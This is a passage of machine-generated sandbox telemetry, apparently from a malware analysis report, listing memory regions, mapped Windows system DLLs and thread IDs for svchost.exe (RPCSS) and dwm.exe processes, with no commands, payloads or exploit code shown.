start_va = 0x6aba580000 end_va = 0x6aba580fff entry_point = 0x0 region_type = private name = "private_0x0000006aba580000" filename = "" Region: id = 6757 start_va = 0x6aba590000 end_va = 0x6aba590fff entry_point = 0x0 region_type = private name = "private_0x0000006aba590000" filename = "" Region: id = 6759 start_va = 0x6aba5a0000 end_va = 0x6aba79ffff entry_point = 0x0 region_type = private name = "private_0x0000006aba5a0000" filename = "" Region: id = 6765 start_va = 0x6aba7a0000 end_va = 0x6abab9ffff entry_point = 0x0 region_type = private name = "private_0x0000006aba7a0000" filename = "" Region: id = 7054 start_va = 0x6aba3d0000 end_va = 0x6aba44ffff entry_point = 0x0 region_type = private name = "private_0x0000006aba3d0000" filename = "" Region: id = 7055 start_va = 0x7ff6178ca000 end_va = 0x7ff6178cbfff entry_point = 0x0 region_type = private name = "private_0x00007ff6178ca000" filename = "" Region: id = 7414 start_va = 0x6aba450000 end_va = 0x6aba464fff entry_point = 0x6aba452c6c region_type = mapped_file name = "mobsync.exe" filename = "\\Windows\\System32\\mobsync.exe" (normalized: "c:\\windows\\system32\\mobsync.exe") Region: id = 7415 start_va = 0x6aba450000 end_va = 0x6aba464fff entry_point = 0x6aba452c6c region_type = mapped_file name = "mobsync.exe" filename = "\\Windows\\System32\\mobsync.exe" (normalized: "c:\\windows\\system32\\mobsync.exe") Thread: id = 247 os_tid = 0x22c Thread: id = 248 os_tid = 0x230 Thread: id = 249 os_tid = 0x234 Thread: id = 250 os_tid = 0x238 Thread: id = 252 os_tid = 0x240 Thread: id = 256 os_tid = 0x254 Thread: id = 257 os_tid = 0x258 Thread: id = 259 os_tid = 0x260 Thread: id = 260 os_tid = 0x264 Thread: id = 263 os_tid = 0x270 Thread: id = 264 os_tid = 0x274 Thread: id = 271 os_tid = 0x284 Thread: id = 285 os_tid = 0x2c8 Thread: id = 294 os_tid = 0x2ec Thread: id = 295 os_tid = 0x2f0 Thread: id = 329 os_tid = 0x388 Thread: id = 406 os_tid = 0x1c8 Thread: id = 414 os_tid = 0x42c Thread: id = 420 os_tid = 0x44c Thread: id = 452 os_tid = 0x4e0 Thread: id = 456 os_tid = 0x4f0 Thread: id = 681 os_tid = 0x6e0 Process: id = "42" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x72f27000" os_pid = "0x244" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009530" [0xc000000f], "LOCAL" [0x7] Region: id = 3309 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3310 start_va = 0x5018820000 end_va = 0x501883ffff entry_point = 0x0 region_type = private name = "private_0x0000005018820000" filename = "" Region: id = 3311 start_va = 0x5018840000 end_va = 0x501884efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005018840000" filename = "" Region: id = 3312 start_va = 0x5018850000 end_va = 0x50188cffff entry_point = 0x0 region_type = private name = "private_0x0000005018850000" filename = "" Region: id = 3313 start_va = 0x50188d0000 end_va = 0x50188d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000050188d0000" filename = "" Region: id = 3314 start_va = 0x7ff617f50000 end_va = 0x7ff617f72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617f50000" filename = "" Region: id = 3315 start_va = 0x7ff617f74000 end_va = 0x7ff617f74fff entry_point = 0x0 region_type = private name = "private_0x00007ff617f74000" filename = "" Region: id = 3316 start_va = 0x7ff617f7e000 end_va = 0x7ff617f7ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617f7e000" filename = "" Region: id = 3317 start_va = 0x7ff618320000 end_va = 0x7ff61832bfff entry_point = 0x7ff61832218c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3318 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3319 start_va = 0x50188e0000 end_va = 0x50188e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000050188e0000" filename = "" Region: id = 3320 start_va = 0x50188f0000 end_va = 0x50188f1fff entry_point = 0x0 region_type = private name = "private_0x00000050188f0000" filename = "" Region: id = 3321 start_va = 0x50189d0000 end_va = 0x5018acffff entry_point = 0x0 region_type = private name = "private_0x00000050189d0000" filename = "" Region: id = 3322 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3323 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3324 start_va = 0x5018820000 end_va = 0x501882ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005018820000" filename = "" Region: id = 3325 start_va = 0x7ff617e50000 end_va = 0x7ff617f4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617e50000" filename = "" Region: id = 3326 start_va = 0x5018900000 end_va = 0x501897dfff entry_point = 0x5018900000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3327 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3328 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3329 start_va = 0x5018830000 end_va = 0x5018836fff entry_point = 0x0 region_type = private name = "private_0x0000005018830000" filename = "" Region: id = 3331 start_va = 0x5018ad0000 end_va = 0x5018b4ffff entry_point = 0x0 region_type = private name = "private_0x0000005018ad0000" filename = "" Region: id = 3332 start_va = 0x5018b50000 end_va = 0x5018bcffff entry_point = 0x0 region_type = private name = "private_0x0000005018b50000" filename = "" Region: id = 3333 start_va = 0x5018bd0000 end_va = 0x5018ea4fff entry_point = 0x5018bd0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3334 start_va = 0x7ff617f7a000 end_va = 0x7ff617f7bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617f7a000" filename = "" Region: id = 3335 start_va = 0x7ff617f7c000 end_va = 0x7ff617f7dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617f7c000" filename = "" Region: id = 3336 start_va = 0x7ffd1bdc0000 end_va = 0x7ffd1bdd5fff entry_point = 0x7ffd1bdc0000 region_type = mapped_file name = "rpcepmap.dll" filename = "\\Windows\\System32\\RpcEpMap.dll" (normalized: "c:\\windows\\system32\\rpcepmap.dll") Region: id = 3337 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3338 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3339 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3340 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3341 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3342 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3343 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3344 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3345 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3346 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3347 start_va = 0x5018980000 end_va = 0x5018980fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3348 start_va = 0x7ffd1bda0000 end_va = 0x7ffd1bdb1fff entry_point = 0x7ffd1bda0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3363 start_va = 0x7ffd1bde0000 end_va = 0x7ffd1be9cfff entry_point = 0x7ffd1be0c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3364 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3365 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3366 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3367 start_va = 0x5018980000 end_va = 0x50189bffff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3368 start_va = 0x5018980000 end_va = 0x5018986fff entry_point = 0x0 region_type = private name = "private_0x0000005018980000" filename = "" Region: id = 3369 start_va = 0x50189b0000 end_va = 0x50189bffff entry_point = 0x0 region_type = private name = "private_0x00000050189b0000" filename = "" Region: id = 3375 start_va = 0x5018eb0000 end_va = 0x5018f2ffff entry_point = 0x0 region_type = private name = "private_0x0000005018eb0000" filename = "" Region: id = 3376 start_va = 0x7ff617f78000 end_va = 0x7ff617f79fff entry_point = 0x0 region_type = private name = "private_0x00007ff617f78000" filename = "" Region: id = 3377 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3378 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3379 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3380 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3381 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3382 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3383 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3384 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3385 start_va = 0x5018990000 end_va = 0x5018992fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005018990000" filename = "" Region: id = 3386 start_va = 0x50189a0000 end_va = 0x50189a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000050189a0000" filename = "" Region: id = 3387 start_va = 0x5018f30000 end_va = 0x5019329fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005018f30000" filename = "" Region: id = 3400 start_va = 0x5019330000 end_va = 0x50193affff entry_point = 0x0 region_type = private name = "private_0x0000005019330000" filename = "" Region: id = 3401 start_va = 0x7ff617f76000 end_va = 0x7ff617f77fff entry_point = 0x0 region_type = private name = "private_0x00007ff617f76000" filename = "" Region: id = 3414 start_va = 0x7ffd1bbd0000 end_va = 0x7ffd1bc85fff entry_point = 0x7ffd1bbd0000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 3416 start_va = 0x50193b0000 end_va = 0x501942ffff entry_point = 0x0 region_type = private name = "private_0x00000050193b0000" filename = "" Region: id = 3417 start_va = 0x7ff617e4e000 end_va = 0x7ff617e4ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617e4e000" filename = "" Region: id = 3719 start_va = 0x5019430000 end_va = 0x50194affff entry_point = 0x0 region_type = private name = "private_0x0000005019430000" filename = "" Region: id = 3720 start_va = 0x7ff617e4c000 end_va = 0x7ff617e4dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617e4c000" filename = "" Region: id = 4004 start_va = 0x50194b0000 end_va = 0x501952ffff entry_point = 0x0 region_type = private name = "private_0x00000050194b0000" filename = "" Region: id = 4005 start_va = 0x7ff617e4a000 end_va = 0x7ff617e4bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617e4a000" filename = "" Region: id = 4006 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4007 start_va = 0x50189c0000 end_va = 0x50189c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000050189c0000" filename = "" Region: id = 4008 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4009 start_va = 0x5019530000 end_va = 0x5019530fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005019530000" filename = "" Region: id = 4477 start_va = 0x5019540000 end_va = 0x50195bffff entry_point = 0x0 region_type = private name = "private_0x0000005019540000" filename = "" Region: id = 4478 start_va = 0x7ff617e48000 end_va = 0x7ff617e49fff entry_point = 0x0 region_type = private name = "private_0x00007ff617e48000" filename = "" Region: id = 4495 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5230 start_va = 0x50195c0000 end_va = 0x50197f8fff entry_point = 0x50195df504 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 5308 start_va = 0x7ffd18220000 end_va = 0x7ffd18286fff entry_point = 0x7ffd18221c14 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5473 start_va = 0x50195c0000 end_va = 0x50195ccfff entry_point = 0x50195c0000 region_type = mapped_file name = "rundll32.exe" filename = "\\Windows\\System32\\rundll32.exe" (normalized: "c:\\windows\\system32\\rundll32.exe") Region: id = 5481 start_va = 0x50195c0000 end_va = 0x50195ccfff entry_point = 0x50195c3f0c region_type = mapped_file name = "rundll32.exe" filename = "\\Windows\\System32\\rundll32.exe" (normalized: "c:\\windows\\system32\\rundll32.exe") Region: id = 5482 start_va = 0x50195c0000 end_va = 0x50195ccfff entry_point = 0x50195c3f0c region_type = mapped_file name = "rundll32.exe" filename = "\\Windows\\System32\\rundll32.exe" (normalized: "c:\\windows\\system32\\rundll32.exe") Region: id = 5698 start_va = 0x50195c0000 end_va = 0x50195c7fff entry_point = 0x50195c0000 region_type = mapped_file name = "thumbnailextractionhost.exe" filename = "\\Windows\\System32\\ThumbnailExtractionHost.exe" (normalized: "c:\\windows\\system32\\thumbnailextractionhost.exe") Region: id = 5780 start_va = 0x50195c0000 end_va = 0x501963ffff entry_point = 0x0 region_type = private name = "private_0x00000050195c0000" filename = "" Region: id = 5781 start_va = 0x7ff617e46000 end_va = 0x7ff617e47fff entry_point = 0x0 region_type = private name = "private_0x00007ff617e46000" filename = "" Region: id = 5829 start_va = 0x5019640000 end_va = 0x5019647fff entry_point = 0x5019644c6c region_type = mapped_file name = "thumbnailextractionhost.exe" filename = "\\Windows\\System32\\ThumbnailExtractionHost.exe" (normalized: "c:\\windows\\system32\\thumbnailextractionhost.exe") Region: id = 6063 start_va = 0x5019640000 end_va = 0x50196bffff entry_point = 0x0 region_type = private name = "private_0x0000005019640000" filename = "" Region: id = 6064 start_va = 0x7ff617e44000 end_va = 0x7ff617e45fff entry_point = 0x0 region_type = private name = "private_0x00007ff617e44000" filename = "" Region: id = 6088 start_va = 0x50196c0000 end_va = 0x50197bffff entry_point = 0x0 region_type = private name = "private_0x00000050196c0000" filename = "" Region: id = 6229 start_va = 0x50197c0000 end_va = 0x501983ffff entry_point = 0x0 region_type = private name = "private_0x00000050197c0000" filename = "" Region: id = 6230 start_va = 0x7ff617e42000 end_va = 0x7ff617e43fff entry_point = 0x0 region_type = private name = "private_0x00007ff617e42000" filename = "" Region: id = 6273 start_va = 0x5019840000 end_va = 0x50198bffff entry_point = 0x0 region_type = private name = "private_0x0000005019840000" filename = "" Region: id = 6274 start_va = 0x7ff617e40000 end_va = 0x7ff617e41fff entry_point = 0x0 region_type = private name = "private_0x00007ff617e40000" filename = "" Region: id = 6286 start_va = 0x50198c0000 end_va = 0x501993ffff entry_point = 0x0 region_type = private name = "private_0x00000050198c0000" filename = "" Region: id = 6287 start_va = 0x5019940000 end_va = 0x50199bffff entry_point = 0x0 region_type = private name = "private_0x0000005019940000" filename = "" Region: id = 6288 start_va = 0x7ff617e3c000 end_va = 0x7ff617e3dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617e3c000" filename = "" Region: id = 6289 start_va = 0x7ff617e3e000 end_va = 0x7ff617e3ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617e3e000" filename = "" Region: id = 6843 start_va = 0x50199c0000 end_va = 0x5019a3ffff entry_point = 0x0 region_type = private name = "private_0x00000050199c0000" filename = "" Region: id = 6844 start_va = 0x5019a40000 end_va = 0x5019abffff entry_point = 0x0 region_type = private name = "private_0x0000005019a40000" filename = "" Region: id = 6845 start_va = 0x7ff617e38000 end_va = 0x7ff617e39fff entry_point = 0x0 region_type = private name = "private_0x00007ff617e38000" filename = "" Region: id = 6846 start_va = 0x7ff617e3a000 end_va = 0x7ff617e3bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617e3a000" filename = "" Region: id = 6869 start_va = 0x5019ac0000 end_va = 0x5019b3ffff entry_point = 0x0 region_type = private name = "private_0x0000005019ac0000" filename = "" Region: id = 6870 start_va = 0x7ff617e36000 end_va = 0x7ff617e37fff entry_point = 0x0 region_type = private name = "private_0x00007ff617e36000" filename = "" Region: id = 7403 start_va = 0x5019b40000 end_va = 0x5019b54fff entry_point = 0x5019b40000 region_type = mapped_file name = "mobsync.exe" filename = "\\Windows\\System32\\mobsync.exe" (normalized: "c:\\windows\\system32\\mobsync.exe") Region: id = 7541 start_va = 0x5019b40000 end_va = 0x5019b54fff entry_point = 0x5019b42c6c region_type = mapped_file name = "mobsync.exe" filename = "\\Windows\\System32\\mobsync.exe" (normalized: "c:\\windows\\system32\\mobsync.exe") Region: id = 7554 start_va = 0x5019b40000 end_va = 0x5019b54fff entry_point = 0x5019b42c6c region_type = mapped_file name = "mobsync.exe" filename = "\\Windows\\System32\\mobsync.exe" (normalized: "c:\\windows\\system32\\mobsync.exe") Thread: id = 253 os_tid = 0x248 Thread: id = 254 os_tid = 0x24c Thread: id = 255 os_tid = 0x250 Thread: id = 258 os_tid = 0x25c Thread: id = 261 os_tid = 0x268 Thread: id = 265 os_tid = 0x278 Thread: id = 266 os_tid = 0x27c Thread: id = 293 os_tid = 0x2e8 Thread: id = 297 os_tid = 0x2f8 Thread: id = 373 os_tid = 0x130 Thread: id = 528 os_tid = 0x620 Thread: id = 555 os_tid = 0x674 Thread: id = 563 os_tid = 0x698 Thread: id = 570 os_tid = 0x6b8 Thread: id = 571 os_tid = 0x6bc Thread: id = 572 os_tid = 0x6c4 Thread: id = 617 os_tid = 0x780 Thread: id = 636 os_tid = 0x7d4 Thread: id = 641 os_tid = 0x7e8 Thread: id = 971 os_tid = 0x888 Process: id = "43" image_name = "dwm.exe" filename = "c:\\windows\\system32\\dwm.exe" page_root = "0x636ea000" os_pid = "0x294" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "38" os_parent_pid = "0x1a8" cmd_line = "\"dwm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "Window Manager\\DWM-1" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local Service" [0x7], "LOCAL" [0x7], "Window Manager\\Window Manager Group" [0x7] Region: id = 3484 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3485 start_va = 0x8132960000 end_va = 0x813297ffff entry_point = 0x0 region_type = private name = "private_0x0000008132960000" filename = "" Region: id = 3486 start_va = 0x8132980000 end_va = 0x813298efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132980000" filename = "" Region: id = 3487 start_va = 0x8132990000 end_va = 0x8132a0ffff entry_point = 0x0 region_type = private name = "private_0x0000008132990000" filename = "" Region: id = 3488 start_va = 0x8132a10000 end_va = 0x8132a13fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132a10000" filename = "" Region: id = 3489 start_va = 0x7ff7f7ef0000 end_va = 0x7ff7f7f12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f7ef0000" filename = "" Region: id = 3490 start_va = 0x7ff7f7f18000 end_va = 0x7ff7f7f18fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7f18000" filename = "" Region: id = 3491 start_va = 0x7ff7f7f1e000 end_va = 0x7ff7f7f1ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7f1e000" filename = "" Region: id = 3492 start_va = 0x7ff7f8670000 end_va = 0x7ff7f868ffff entry_point = 0x7ff7f8675f90 region_type = mapped_file name = "dwm.exe" filename = "\\Windows\\System32\\dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe") Region: id = 3493 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3509 start_va = 0x8132a20000 end_va = 0x8132a22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132a20000" filename = "" Region: id = 3511 start_va = 0x8132a30000 end_va = 0x8132a31fff entry_point = 0x0 region_type = private name = "private_0x0000008132a30000" filename = "" Region: id = 3512 start_va = 0x8132bd0000 end_va = 0x8132ccffff entry_point = 0x0 region_type = private name = "private_0x0000008132bd0000" filename = "" Region: id = 3513 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3514 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3515 start_va = 0x8132960000 end_va = 0x813296ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132960000" filename = "" Region: id = 3516 start_va = 0x7ff7f7df0000 end_va = 0x7ff7f7eeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f7df0000" filename = "" Region: id = 3517 start_va = 0x8132a40000 end_va = 0x8132abdfff entry_point = 0x8132a40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3518 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b951024 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3519 start_va = 0x8132ac0000 end_va = 0x8132b23fff entry_point = 0x8132ac0000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3520 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3521 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3522 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3523 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3524 start_va = 0x8132970000 end_va = 0x8132976fff entry_point = 0x0 region_type = private name = "private_0x0000008132970000" filename = "" Region: id = 3525 start_va = 0x7ffd1b8d0000 end_va = 0x7ffd1b8fafff entry_point = 0x7ffd1b8d0000 region_type = mapped_file name = "dwmredir.dll" filename = "\\Windows\\System32\\dwmredir.dll" (normalized: "c:\\windows\\system32\\dwmredir.dll") Region: id = 3662 start_va = 0x7ffd1b6c0000 end_va = 0x7ffd1b8cefff entry_point = 0x7ffd1b6c0000 region_type = mapped_file name = "dwmcore.dll" filename = "\\Windows\\System32\\dwmcore.dll" (normalized: "c:\\windows\\system32\\dwmcore.dll") Region: id = 3663 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3666 start_va = 0x7ffd1a340000 end_va = 0x7ffd1a399fff entry_point = 0x7ffd1a34109c region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\System32\\dcomp.dll" (normalized: "c:\\windows\\system32\\dcomp.dll") Region: id = 3670 start_va = 0x8132ac0000 end_va = 0x8132b8ffff entry_point = 0x0 region_type = private name = "private_0x0000008132ac0000" filename = "" Region: id = 3671 start_va = 0x8132ac0000 end_va = 0x8132ac6fff entry_point = 